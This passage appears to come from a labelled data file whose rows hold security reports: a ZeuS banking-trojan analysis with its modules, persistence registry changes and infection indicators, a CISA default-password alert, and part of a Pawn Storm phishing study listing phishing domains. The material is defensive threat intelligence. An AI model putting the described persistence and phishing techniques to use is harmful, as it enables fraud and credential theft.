1.3.4.x. This private version seems to be only sold by the author, and he is protecting all of its functionality through the hardware l I.D., locking which we mentioned previously. Backconnect $1500 The backconnect module allows an attacker to 'connect back' to the infected computer and make financial transactions from it. This way, banks that try to track where money transfers originate will always trace it back to the computer of the account holder. Firefox form grabber $2000 The Firefox form grabber module grabs data out of fields that are submitted using the Firefox web browser. This data can include personally identifiable information (PII) as well as usernames and passwords for bank accounts, trading accounts, online payment accounts, and anything else that would require the use of a username and password. Jabber (IM) chat notifier $500 The Jabber module allows an attacker to receive stolen data in ""real time"". If a bank account is being protected with a token that generates random numbers, then the attacker can access the victim's account in real time after the victim logs in using the token. An example of what would be sent via the Jabber module is: Request Type :Domestic Wire Name :John Smith Address :1234 Main Street City :Atlanta GA 12345 Payee Name :Some Bank Memo :Credit to acc:1111111111 Beneficiary Account :Checking #0000001234 Beneficiary Address 1 :Georgia Payee Bank ID :0123456 Bank Name :Some Bank Addr1 :Atlanta Some Bank Amount :1500000.00 From Account :My Money Market #123456789 Date Posted :01/01/10 Time Posted :2:00 PM VNC (Virtual Network Computing) private module $10,000 The VNC module is similar to the backconnect module, except that it allows you to establish a fully functioning virtual connection. The attacker can take control of the infected computer without the victim being aware of it. Essentially, the VNC provides the hacker with not just a Network Proxy but with a Total Presence Proxy (it is the total package), allowing the hacker to use all of the victim's hardware and software, including its browser, so as to avoid a bank's fraud detection systems. Essentially, it allows the hacker to get around many hardware-based authentication systems. Additionally, if the victim is doing large dollar transactions and is required to insert a smartcard into their computer that the bank will recognize, the hacker will have access to that smartcard via the VNC module. Windows 7/Vista Support $2000 This module allows the ZeuS trojan to infect these Windows 7 and Vista systems. Without it, the botnet controller is limited to Windows XP systems. ZeuS 1.4 Adds Polymorphic Encryption and Web Injects for Firefox The authors of ZeuS are currently developing 1.4 which is being beta tested. It includes two key components which make the ZeuS Banking Trojan even more stealthy and comprehensive, due to its ability to also do web injects for the Firefox browser. The components are: Web Injects for Firefox Polymorphic Encryption: The 1.4 version of ZeuS will enable the ZeuS Trojan to re-encrypt itself each time it infects a victim, thus making each infection unique. The 1.4 version also enables the ZeuS file names to be randomly generated, thus each infection will contain different file names. This will make it very difficult for anti-virus engines to identify the ZeuS Banking Trojan on the victims' system. How Zeus Works ZeuS performs stolen data exfiltration and remote commands via encrypted HTTP POST requests to a Command and Control web server. The encryption ZeuS uses is RC4, with a key that is embedded in the binary. While the primary function of this malware is to commit financial fraud, its general information stealing behaviors make it a threat to all enterprises. Basic credential theft is not targeted, meaning the ZeuS botnet controller does not run the botnet to just see what it can get. The botnet controller usually has a financial target in mind. The criminals typically search for data of interest to directly derive value or to sell the data to another criminal. Several of these tasks can be done ""on-demand"" via the HTTP-based control panel, and directed to selected infected computers. These on-demand tasks may be performed via special scripts that can be executed on select systems. These scripts can be used to take screenshots of infected systems or to do ZeuS binary updates. Figure 1. View of a login page for a financial site. Figure 2. View of the same page from a computer infected with ZeuS. Note it includes three new fields. ZeuS includes these capabilities to assist with automated clearing house (ACH) fraud. ACH is an electronic network for financial transactions in the United States. It is used for online bill payments, payroll direct deposits from employers and to transfer money from one account to another. ZeuS is aimed at taking advantage of ACH to transfer money to criminal accounts. How to detect the ZeuS Banking Trojan on your computer Computers infected with this version of ZeuS will have the following files and folders installed. The location depends on whether the victim has Administrator rights. The files will most likely have the HIDDEN attribute set to hide them from casual inspection. With Administrator rights: %systemroot%\\system32\\sdra64.exe (malware) %systemroot%\\system32\\lowsec ser.ds (encrypted stolen data file) ser.ds.lll (temporary file for stolen data) %systemroot%\\system32\\lowsec\\local.ds (encrypted configuration file) Without Administrator rights: %appdata%\\sdra64.exe %appdata%\\lowsec ser.ds ser.ds.lll %appdata%\\lowsec\\local.ds ZeuS also makes registry changes to ensure that it starts up with Administrator privileges: HKLM\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon From: ""Userinit"" = serinit.exe"" To: ""Userinit"" = serinit.exe,C:\\WINDOWS\\system32\\sdra64.exe"" Without Administrator rights: HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run Add: ""Userinit"" = ""C:\\Documents and Settings\\<user>\\Application Data\\sdra64.exe"" The sdra64.exe program uses process injection to hide its presence in the list of running processes. Upon startup, it will inject code into winlogon.exe (if Administrator rights available) or explorer.exe (for non-Administrators) and exit. The injected code infects other processes to perform its data theft capabilities. Types of data being targeted by ZeuS The following figures illustrate what type of data is stolen and collected from infected computers. The list of infected systems shown in Figure 3 can range from the hundreds to thousands. The number of infected systems usually depends on how long the botnet is active and how well the bot controller spreads the malware. Figure 3. List of infected systems. Each system is a folder on the C&C server. Figure 4. Sample of collected information from an infected system for a social networking site. Figure 4 illustrates a fragment of information collected from an infected system. This listing begins with the bot id, which is usually the name of the affected computer. Next is the name of the botnet that includes the affected computer. Also listed is the bot version. Next appears the IPv4 IP address of the affected computer and the country it belongs to. This information is not always accurate because a host with an internal IP will not display correctly. Further down the list appears the OS. This log was captured from an Internet Explorer web browser used to visit a popular social networking website. ZeuS captured the language used, full page parameters, email address, password, and anything else that was being generated from the login attempt. Figure 5. Sample of banking information collected from an infected system. Figure 5 is similar in function to the previous listing, but this time ZeuS is stealing the login information for a bank account. Figure 6 shows the same user transferring money from checking to savings. These examples demonstrate the risks that infected computers and their users are susceptible to. Figure 6. Sample of banking transaction information collected from an infected system. Figure 7. PFX (PKCS #12) Digital Certificate file collected from an infected system. ZeuS even steals PFX (PKCS #12) Digital Certificates that the victim's web browser uses to authenticate to a site (Figure 7). So the victim is still vulnerable if their banking site uses assigned certificates. Figure 8. ZeuS server control panel, operating system statistics. Figure 8 shows a ZeuS server using the 1.2.4.2 version control panel. The screen displays totals of the bots and what OS version they are running, the most popular being Windows XP Professional SP3. This ZeuS bot also infected Vista users, which means the bot controller paid extra for the Vista/Windows 7 module. Figure 9. ZeuS server control panel, statistics summary. Figure 9 shows the same botnet, listing bots by country. It lists the most prevalent country as BG (Bulgaria), but according to reports from bot operators, this value is not accurate because ZeuS could not determine the country listing from internal IP addresses. Note that this botnet has 1,827 infected computers (bots) in it and has logged 551,492 reports. Stolen ZeuS data cache Now we will take a look at how botnet data gets stolen and leaked. Figure 10 shows a botnet controller looking for a partner for his ZeuS botnet. Figure 10. Message from botnet controller looking for business partner. Now his ZeuS server gets hacked and the database is posted online. The download contains the entire database plus the server-side ZeuS PHP files. The attacker is even happy enough to tell you what server he got it from. Figure 11. Message advertising hacked ZeuS server content. Data Stolen by ZeuS The total size of the PHP files for the ZeuS server is 20MB, and the stolen database is 900MB. The database contained login credentials from 1,827 victims located in the US, UK, Canada, Europe, etc. These login credentials were for banking, stock trading, credit union, online payment, insurance, social networking, government, and military accounts. The bank account, credit union, stock trading, and online payment credentials were for many large and medium sized institutions in the US, UK and Canada. Figure 12. Message listing account credentials from the ZeuS database. Figure 12 shows the same user posting account usernames and passwords to try to prove that there is valuable data in the stolen ZeuS database file. Figure 13. Message explaining how to import the ZeuS database in MySQL. The same user then gives details on how to import the database into a MySQL server so that anyone can start sorting through the data. He also gives the username and password for the login. Figure 13 mentions the same person that was looking for a partner in Figure 10. The CTU has observed other ZeuS databases for sale on various underground black markets. Their size is typically over 10GB, which is a botnet of approximately 23,000 infected computers (bots). How to Protect Yourself from ZeuS The CTU recommends that businesses and home users carry out online banking and financial transactions on isolated workstations that are not used for general Internet activities, such as web browsing and reading email which could increase the risk of infection. Businesses may even consider using an alternative operating system for workstations accessing sensitive or financial accounts. Keep your antivirus, operating system and software patches up to date. Also do not open suspicious e-mail attachments or links from people that you do not know and even if you do know them, check with them to find out if they sent you something prior to opening the email. Additionally, awareness for both customers and employees is crucial. In particular, employees who interface with clients should be made aware of these types of threats to help triage potential victims. Enjoyed what you read? Share it! RELATED CONTENT LYCEUM takes center stage in Middle East campaign BLOG LYCEUM Takes Center Stage in Middle East Campaign Counter Threat Unit\xe2\x84\xa2 Research Team COBALT DICKENS Goes Back to School\xe2\x80\xa6Again BLOG COBALT DICKENS Goes Back to School\xe2\x80\xa6Again Counter Threat Unit\xe2\x84\xa2 Research Team TrickBot modifications target U.S. mobile users BLOG TrickBot Modifications Target U.S. Mobile Users Counter Threat Unit\xe2\x84\xa2 Research Team LYCEUM takes center stage in Middle East campaign BLOG LYCEUM Takes Center Stage in Middle East Campaign Counter Threat Unit\xe2\x84\xa2 Research Team COBALT DICKENS Goes Back to School\xe2\x80\xa6Again BLOG COBALT DICKENS Goes Back to School\xe2\x80\xa6Again Counter Threat Unit\xe2\x84\xa2 Research Team LinkedInTwitterFacebookGitHub Careers RSS Feed Manage Subscriptions Sitemap Privacy Policy Supply Chain Transparency Terms & Conditions Dell Technologies English \xc2\xa9 2019 SecureWorks, Inc.","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Skip to main content Toggle navigation US Department of Homeland Security CISA Cyber + Infrastructure National Cyber Awareness System Alerts Risks of Default Passwords on the Internet More Alerts Alert (TA13-175A) Risks of Default Passwords on the Internet Original release date: June 24, 2013 | Last revised: October 07, 2016 Print Document Tweet Like Me Share Systems Affected Any system using password authentication accessible from the internet may be affected. Critical infrastructure and other important embedded systems, appliances, and devices are of particular concern. Overview Attackers can easily identify and access internet-connected systems that use shared default passwords. It is imperative to change default manufacturer passwords and restrict network access to critical and important systems. Description What Are Default Passwords? Factory default software configurations for embedded systems, devices, and appliances often include simple, publicly documented passwords. These systems usually do not provide a full operating system interface for user management, and the default passwords are typically identical (shared) among all systems from a vendor or within product lines. Default passwords are intended for initial testing, installation, and configuration operations, and many vendors recommend changing the default password before deploying the system in a production environment. What Is the Risk? Attackers can easily obtain default passwords and identify internet-connected target systems. Passwords can be found in product documentation and compiled lists available on the internet. It is possible to identify exposed systems using search engines like Shodan, and it is feasible to scan the entire IPv4 internet, as demonstrated by such research as Shiny Old VxWorks Vulnerabilities Security Flaws in Universal Plug and Play: Unplug, Don't Play Serial Offenders: Widespread Flaws in Serial Port Servers The Wild West Internet Census 2012 Attempting to log in with blank, default, and common passwords is a widely used attack technique. Impact An attacker with knowledge of the password and network access to a system can log in, usually with root or administrative privileges. Further consequences depend on the type and use of the compromised system. Examples of incident activity involving unchanged default passwords include Internet Census 2012 Carna Botnet distributed scanning Fake Emergency Alert System (EAS) warnings about zombies Stuxnet and Siemens SIMATIC WinCC software Kaiten malware and older versions of Microsoft SQL Server SSH access to jailbroken Apple iPhones Cisco router default Telnet and enable passwords SNMP community strings Solution Change Default Passwords Change default passwords as soon as possible and absolutely before deploying the system on an untrusted network such as the internet. Use a sufficiently strong and unique password. See US-CERT Security Tip ST04-002 and Password Security, Protection, and Management for more information on password security. Use Unique Default Passwords Vendors can design systems that use unique default passwords. Such passwords may be based on some inherent characteristic of the system, like a MAC address, and the password may be physically printed on the system. Use Alternative Authentication Mechanisms When possible, use alternative authentication mechanisms like Kerberos, x.509 certificates, public keys, or multi-factor authentication. Embedded systems may not support these authentication mechanisms and the associated infrastructure. Force Default Password Changes Vendors can design systems to require password changes the first time a default password is used. Recent versions of DD-WRT wireless router firmware operate this way. Restrict Network Access Restrict network access to trusted hosts and networks. Only allow internet access to required network services, and unless absolutely necessary, do not deploy systems that can be directly accessed from the internet. If remote access is required, consider using VPN, SSH, or other secure access methods and be sure to change default passwords. Vendors can design systems to only allow default or recovery password use on local interfaces, such as a serial console, or when the system is in maintenance mode and only accessible from a local network. Identify Affected Products It is important to identify software and systems that are likely to use default passwords. The following list includes software, systems, and services that commonly use default passwords: Routers, access points, switches, firewalls, and other network equipment Databases Web applications Industrial Control Systems (ICS) systems Other embedded systems and devices Remote terminal interfaces like Telnet and SSH Administrative web interfaces Running a vulnerability scanner on your network can identify systems and services using default passwords. Freely available scanners include Metasploit and OpenVAS. References Home Network Security Choosing and Protecting Passwords Password Security, Protection, and Management Small Office/Home Office Router Security The Risk of Default Passwords SHODAN - Computer Search Engine Shiny Old VxWorks Vulnerabilities Security Flaws in Universal Plug and Play: Unplug, Don't Play Serial Offenders: Widespread Flaws in Serial Port Servers The Wild West Internet Census 2012 Zombie hack blamed on easy passwords Secure EAS Codec s Prevent Zombie Attacks SCADA System's Hard-Coded Password Circulated Online for Years After Worm, Siemens Says Don't Change Passwords ""Kaiten"" Malicious Code Installed by Exploiting Null Default Passwords in Micro\xe2\x80\xa6 Web Interface - DD-WRT Wiki Penetration Testing Software | Metasploit Open Vulnerability Assessment System Revisions Initial release This product is provided subject to this Notification and this Privacy & Use policy. Was this document helpful? Yes | Somewhat | No Contact Us phone icon(888)282-0870 email iconSend us email lock iconDownload PGP/GPG keys Subscribe to Alerts Receive security alerts, tips, and other updates. Enter your email address Enter your email address twitter iconrss icon Home Site Map FAQ Contact Us Traffic Light Protocol PCII Accountability Disclaimer DHS Privacy Policy FOIA No Fear Act Accessibility Plain Writing Plug-ins Inspector General The White House USA.gov CISA is part of the Department of Homeland Security","0","0","0","1","1","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Two Years of Pawn Storm Examining an Increasingly Relevant Threat A TrendLabsSM Research Paper Two Years of Pawn Storm Examining an Increasingly Relevant Threat Feike Hacquebord Forward-Looking Threat Research (FTR) Team TREND MICRO LEGAL DISCLAIMER The information provided herein is for general information and educational purposes only. It is not intended and should not be construed to constitute legal advice. The information contained herein may not be applicable to all situations and may not reflect the most current situation. Nothing contained herein should be relied on or acted upon without the benefit of legal advice based on the particular facts and circumstances presented and nothing herein should be construed otherwise. Trend Micro reserves the right to modify the contents of this document at any time without prior notice. Translations of any material into other languages are intended solely as a convenience. Translation accuracy is not guaranteed nor implied. If any questions arise related to the accuracy of a translation, please refer to the original language official version of the document. Any discrepancies or differences created in the translation are not binding and have no legal effect for compliance or enforcement purposes. Although Trend Micro uses reasonable efforts to include accurate and up-to-date information herein, Trend Micro makes no warranties or representations of any kind as to its accuracy, currency, or completeness. You agree that access to and use of and reliance on this document and the content thereof is at your own risk. Trend Micro disclaims all warranties of any kind, express or implied. Neither Trend Micro nor any party involved in creating, producing, or delivering this document shall be liable for any consequence, loss, or damage, including direct, indirect, special, consequential, loss of business profits, or special damages, whatsoever arising out of access to, use of, or inability to use, or in connection with the use of this document, or any errors or omissions in the content thereof. Use of this information constitutes acceptance for use in an \xe2\x80\x9cas is\xe2\x80\x9d condition. Contents False Flag Operations 4 How Pawn Storm Attacks Free and Corporate Webmail 8 Pawn Storm Phishing Campaigns 19 Preferred Attacks, Resources, and Tools 29 Conclusion and Defending Against Pawn Storm 37 Pawn Storm is an active cyber espionage actor group that has been very aggressive and ambitious in recent years. The group\xe2\x80\x99s activities show that foreign and domestic espionage and influence on geopolitics are the group\xe2\x80\x99s main motives, and not financial gain. Its main targets are armed forces, the defense industry, news media, politicians, and dissidents. We can trace activities of Pawn Storm back to 20041, and before our initial report in 20142 there wasn\xe2\x80\x99t much published about this actor group. However, since then we have released more than a dozen detailed posts on Pawn Storm.3 This new report is an updated dissection of the group\xe2\x80\x99s attacks and methodologies\xe2\x80\x94something to help organizations gain a more comprehensive and current view of these processes and what can be done to defend against them. Pawn Storm is becoming increasingly relevant particularly because it is doing more than just espionage activities. In 2016, the group attempted to influence public opinion, to influence elections, and sought contact with mainstream media with some success. Now the impact of these malicious activities can be felt by various industries and enterprises operating throughout the world. Even average citizens of different countries might be affected as Pawn Storm tries to manipulate people\xe2\x80\x99s opinions about domestic and international affairs. The attacks of Pawn Storm may even serve as an example for other actors, who could copy tactics and repurpose them to fit their own objectives. As we look at Pawn Storm\xe2\x80\x99s operations over a two-year period, we can see how the group has become more adept at manipulating events and public opinion through the gathering and controlled release of information. Many events\xe2\x80\x94like their involvement in the Democratic National Convention hack\xe2\x80\x94have been covered extensively. The group\xe2\x80\x99s cyber propaganda methods\xe2\x80\x94using electronic means to influence opinion4\xe2\x80\x94creates problems on multiple levels. Aside from manipulating the public, their operations also discredit political figures and disrupt the established media. The proliferation of fake news and fake news accusations in 2017 can in part be attributed to constant information leaks and manipulations by malicious actors. Media sources have already confirmed that Pawn Storm offered them exclusive peeks at high-impact information, presumably in an attempt to skew public perception on a certain topic or person. In this paper, we take a deeper look at the facts we have compiled and delve into the variety of attacks that the group is using. Pawn Storm is known for its sophisticated social engineering lures, efficient credential phishing, zero days, a private exploit kit, an effective set of malware, false flag operations, and campaigns to influence the public opinion about political issues. At its core, Pawn Storm\xe2\x80\x94also known as Sednit5, Fancy Bear, APT286 7, Sofacy, and STRONTIUM8\xe2\x80\x94is still a persistent cyber espionage actor group. The actors often attack the same target from different sides, using multiple methods to reach their goals. It generally relies on practiced techniques, specifically when it comes to phishing. Credential phishing has been a key part of many compromises done by Pawn Storm in recent years and we were the first to describe them in detail from 2014 and onwards. We start this paper with a section on false flag operations and a rundown of Pawn Storm\xe2\x80\x99s attempts to influence the public opinion. The second section focuses on different methods used to attack free and corporate webmail\xe2\x80\x94mostly through sophisticated phishing tactics. The third section details Pawn Storm\xe2\x80\x99s campaigns that we tracked over the years, and lists their intended targets. The next section covers their preferred attacks, facilitators, and also their attitude towards their own operational security. And lastly, we give some guidelines on how to defend against Pawn Storm. 4 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat False Flag Operations Pawn Storm uses a variety of tactics to collect information from their identified targets\xe2\x80\x94often through credential phishing. Some of the information is then leaked on websites that are specifically designed to display stolen data. More than once Pawn Storm disguised itself as \xe2\x80\x9chacktivists\xe2\x80\x9d or whistleblowers motivated by some agenda. Operating Under Alternative Fronts After Pawn Storm breached the World Anti-Doping Agency (WADA) and the Court of Arbitration for Sport (TAS-CAS) in 2016, a group that calls themselves the \xe2\x80\x9cFancy Bears\xe2\x80\x99 Hack team\xe2\x80\x9d posted medical records of athletes on their website (security company CrowdStrike uses \xe2\x80\x9cFancy Bear\xe2\x80\x9d to identify Pawn Storm actors). The hack team claims they stood for \xe2\x80\x9cfair play and clean sport\xe2\x80\x9d, however, in reality they leaked confidential medical records that were very likely stolen by Pawn Storm. This move could be meant as retaliation against the decision of WADA to block several athletes from the Olympics in Rio de Janeiro, Brazil. It could also be meant to weaken the position of WADA and influence the public opinion of doping incidents. In 2015, US Army information was released on the site cyb3rc.com by a group calling itself the Cyber Caliphate. The group presented itself as pro-ISIS and suggested that they are an Islam-inspired terrorist group. In the same year, Cyber Caliphate claimed to have taken down the live broadcast of French TV station TV5 for a number of hours. Pro-ISIS messages from the group also appeared on the Twitter and Facebook accounts of TV5. This was particularly painful for France, a country that was still in shock from terrorist attacks on the editors of Charlie Hebdo, a French satirical weekly magazine. However, it was later reported that the Cyber Caliphate was actually a front of Pawn Storm. French magazine L\xe2\x80\x99Express shared indicators with us that clearly connected Cyber Caliphate to Pawn Storm, which French authorities later confirmed. The motives for the TV5 attack are still unclear. Of course, it is also possible that this attack was the work of undisciplined Pawn Storm actors. Though the Pawn Storm actors normally work in a professional way, there have been a few other incidents where some Pawn Storm actors showed a lack of discipline. 5 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Maneuvers Used Against Political Organizations In 2016 the Democratic National Committee (DNC) was allegedly hacked by Pawn Storm. Stolen emails were published by WikiLeaks and a site called dcleaks[.]com, a domain very likely controlled by Pawn Storm. After the DNC hack became public, a lone hacker called Guccifer 2.0 claimed responsibility. He claimed to be Romanian (just like the real hacker Guccifer who was convicted in 2016 for compromising the email accounts of American business executives, political figures and celebrities), but while communicating with the press, it appeared that Guccifer 2.0 was not fluent in Romanian at all. A study of ThreatConnect9 showed that Guccifer 2.0 approached news media and offered them exclusive access to password-protected parts of the dcleaks[.]com site. This specific site actually leaks email repositories taken from mainly US Pawn Storm targets that have been victimized by the group\xe2\x80\x99s advanced Gmail credential phishing campaigns. We were able to collect a substantial amount of information on the Gmail credential phishing campaigns of Pawn Storm from 2014 onwards (as we discuss in the How Pawn Storm Attacks Free and Corporate Webmail section). This makes it very likely that Guccifer 2.0 is a creation of the Pawn Storm actor group. Meanwhile, WikiLeaks, which has dubbed itself a \xe2\x80\x9cmulti-national media organization and associated library\xe2\x80\x9d, published emails from the DNC and the AK party of Turkish President Erdogan in 2016. We know that the DNC received a wave of aggressive credential phishing attacks from Pawn Storm in March and April 2016: during the campaign, dozens of politicians, DNC staff, speech writers, data analysts, former staff of the Obama campaign, staff of the Hillary Clinton campaign, and even corporate sponsors were targeted multiple times. Pawn Storm also used phishing campaigns against the Turkish government and parliament in early 2016. This makes it highly plausible that the emails published by WikiLeaks were originally stolen by the Pawn Storm actor group. Utilizing Mainstream Media There have been instances when Pawn Storm uses mainstream media to publicize their attacks and influence public opinion. Several media outlets have confirmed that they were offered exclusive access to data stolen by Pawn Storm. When the reputable German magazine Der Spiegel reported on doping in January 2017,10 Der Spiegel wrote they were in contact with the \xe2\x80\x9cFancy Bear hackers\xe2\x80\x9d for months and that in December 2016 they received \xe2\x80\x9cseveral sets of data containing PDF and Word documents in addition to hundreds of internal emails from United States Anti-Doping Agency (USADA) and WADA, the World Anti- Doping Agency.\xe2\x80\x9d This is a clear example where Pawn Storm successfully contacted mainstream media to influence the public opinion about a political topic. 6 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat The reports on the Democratic Congressional Campaign Committee (DCCC) being compromised, published at end of July 2016, serve as another example. We discovered that the website was severely compromised more than five weeks before it became public. All donations meant for dccc.org were first redirected to a site that was under Pawn Storm\xe2\x80\x99s control\xe2\x80\x94this means that the actors had the opportunity to compromise donors of the Democratic Party. At the time of discovery, the compromise was about a week old and still live. We disclosed the compromise to US authorities responsibly and the problem was addressed quickly. We did not publish our findings as a public report could actually benefit Pawn Storm by highlighting their capabilities and also impact the US elections. But then more than five weeks later the compromise did make headlines. Pawn Storm possibly contacted mainstream media about the compromise and, just like in other cases, offered \xe2\x80\x9cexclusive\xe2\x80\x9d access to stolen information. Phishing and Things Pawn Storm Can Do with the Data In April and May 2016 Pawn Storm launched phishing campaigns against the German political party Christian Democratic Union (CDU) headed by Angela Merkel, which is also around the same time the group set up phishing sites against two German free webmail providers.11 German authorities later confirmed that this attack was the work of Pawn Storm. However it is unknown if they were successful or not. No emails of CDU have been leaked yet, but in some instances Pawn Storm has waited for more than a year before it started to leak stolen data. The timed release of information is one way a threat actor can maximize the impact of their attack against a target. In early 2016, Pawn Storm also set up credential phishing sites that targeted ministries of the Turkish government and the Turkish parliament.12 Another credential phishing site was set up to target the parliament of Montenegro in October 2016\xe2\x80\x94this was likely the work of Pawn Storm as well. Pawn Storm has also probably leaked stolen information via cyber-berkut[.]org. This is the website of an actor group posing as an activist group with a particular interest in leaking documents from the Ukraine. The exact relation between Pawn Storm and CyberBerkut is unknown, but we have credible information that CyberBerkut has published information which was stolen during Pawn Storm\xe2\x80\x99s credential phishing campaigns. Prior to leaking the information, parts of the documents and emails were allegedly altered. The authenticity of leaked data is generally not verified, allowing threat actors to alter the stolen data to their own benefit and present it as real and unaltered. By publishing carefully selected pieces of unaltered stolen data, threat actors can even more effectively influence public opinion in a way that is aligned with their interests. 7 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat The incidents mentioned above show Pawn Storm\xe2\x80\x99s interest in influencing politics in different countries. This is not limited to the presidential elections in the US, but goes beyond that. Resourceful threat actors such as Pawn Storm can sustain long-term operations and leverage different attacks that can last for years\xe2\x80\x94such as credential phishing. The next sections will detail how credential phishing has been so effective for Pawn Storm. 8 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat How Pawn Storm Attacks Free and Corporate Webmail Credential Phishing Credential phishing is an effective tool in espionage campaigns. A lot of internet users are trained by experience not to fall victim to phishing. They are trained to spot obvious grammar and spelling errors, uncommon domains in the phishing URLs and the absence of a secure, encrypted connection in the browser bar. However, professional actors have the resources to avoid simple mistakes and invent clever social engineering tactics. They send phishing emails in flawless English and other languages when needed, and they have no problem evading spam filters. Essentially, credential phishing attacks have become an effective and dangerous tool that can have severely damaging effects. In these attacks a huge amount of sensitive data might be stolen. Credential phishing also serves as the first step to penetrate deeper into the infrastructure of a target organization. Several attack scenarios are possible through credential phishing: \xe2\x80\xa2 silent data gathering over an extended period of time\xe2\x80\x94Pawn Storm being a prime example since our data tracks them silently collecting information for more than a year \xe2\x80\xa2 compromised accounts are used to further penetrate into the network of a victim organization, for example by sending emails using stolen identities \xe2\x80\xa2 leaking sensitive emails in order to cause harm to the victim organization and influence public opinion \xe2\x80\xa2 domestic espionage on citizens of nations 9 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Using these simple, but oftentimes well-prepared credential phishing attacks, a group can collect an enormous amount of data. Pawn Storm is doing all of the above. In 2016 the group is believed to have stolen information from the DNC, Hillary Clinton\xe2\x80\x99s campaign team, and WADA. They also launched credential phishing attacks on numerous other organizations: armed forces, defense companies, media, and many others. It is very likely that from July 2015 to August 2016, Pawn Storm had access to the Gmail account of Colin Powell, former United States Secretary of State under the George Bush administration. In September 2016, more than one year after the initial compromise, dcleaks[.]com posted several of his personal emails online. This was just one of the many examples where Pawn Storm leaked confidential information, and it shows that some of the compromises span a lengthy period. Russian citizens\xe2\x80\x94journalists, software developers, politicians, researchers at universities, and artists\xe2\x80\x94 are also targeted by Pawn Storm.13 Several Russian media organizations (including mainstream media corporations) and foreign embassies in Moscow are common targets too. Pawn Storm has maintained long-running campaigns against high profile users of free international webmail providers like Yahoo and Gmail; as well as webmail providers for Ukrainian internet users (Ukr. net), and Russian users (Yandex and Mail.ru). Pawn Storm sets up phishing sites of other free webmail providers for very specific targets only. We found Pawn Storm phishing domains for relatively small webmail providers in Cyprus, Belgium, Italy, Norway, and other countries. Users of university webmail in Estonia and Russia were targeted as well. These were probably part of tailored attacks where Pawn Storm had very specific and high profile targets in mind. The credential phishing attacks against high profile Google, Yahoo and Ukr.net users are relatively voluminous. We were able to collect thousands of phishing emails since early 2015. It was not continuous. Pawn Storm sometimes paused activities, which they but then later on resumed. Some targets get multiple phishing emails in one week. Credential Phishing Attacks on Corporate Webmail Attacking corporate email makes a lot of sense for threat actors as email is one of the weakest points in the targets\xe2\x80\x99 defense. In the last four years, Pawn Storm has launched numerous credential phishing attacks against the corporate email system of many organizations. Targets included armed forces, defense industry, political parties, NGOs, media, and governments around the world. Breaching corporate email accounts may lead threat actors to valuable, confidential data and it can be a stepping stone for penetrating deeper into the target organization. 10 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Many organizations allow their employees to read email while they are out of the office. While this greatly enhances user convenience, webmail introduces significant risks. Webmail that can be accessed from anywhere introduces an attack surface that can be probed not only through direct hacking, but also by advanced social engineering. While people might be used to less sophisticated credential phishing emails, advanced actors have shown remarkable creativity in their attacks and often they are fluent in foreign languages as well. For some of the attacks, victims cannot be blamed for falling for the social engineering tricks. We have seen phishing lures that are almost indistinguishable from legitimate emails. One of the social engineering lures makes use of a form of tabnabbing, which is discussed below. Here are some considerations on the security of webmail: \xe2\x80\xa2 Two-factor authentication improves security, but it doesn\xe2\x80\x99t make social engineering impossible. All temporary tokens can be phished by an attacker. \xe2\x80\xa2 Even when two-factor authentication is used, an attacker only has to phish for the second authentication token one or two times to get semi-permanent access to a mailbox. They can set up a forwarding address or a token that allows third party applications full access to the system. \xe2\x80\xa2 Mandatory logging in onto a company VPN network does raise the bar for an attacker. However, VPN credentials can also be phished, and we\xe2\x80\x99ve seen targeted attackers specifically go after VPN access credentials. \xe2\x80\xa2 Authentication with a physical security key makes credential phishing virtually impossible unless the attacker has physical access to the equipment of the target. When a target uses a physical security key, the attacker either has to find an exploit to get unauthorized access, or he has to get physical access to the security key and the target\xe2\x80\x99s laptop. \xe2\x80\xa2 To add to authentication methods that are based on what you know and what you have, one could add authentication that is based on what you are: fingerprints or other biometric data. Biometrics have already been used by some laptops and phone vendors, and have also been a common authentication method in datacenters for more than a decade. 11 | Two Years of Pawn Storm: Examining an Increasingly Relevant Threat Phishing Campaign Targets This section lists some of the organizations that were targeted by Pawn Storm with a campaign that was specifically set up for them. In many cases, only very few employees of these organizations were targeted. Date Organization Phishing Domain Military 12/12/13 Chilean military mail.fach.rnil.cl 05/15/14 Armenian military mail.rnil.am 10/23/14 Latvian military web.mailmil.lv 02/25/15 Romanian military fortele.ro 03/25/15 Danish military webmail-mil.dk 03/26/15 Portuguese military webmail.exerclto.pt 05/13/15 Greek military 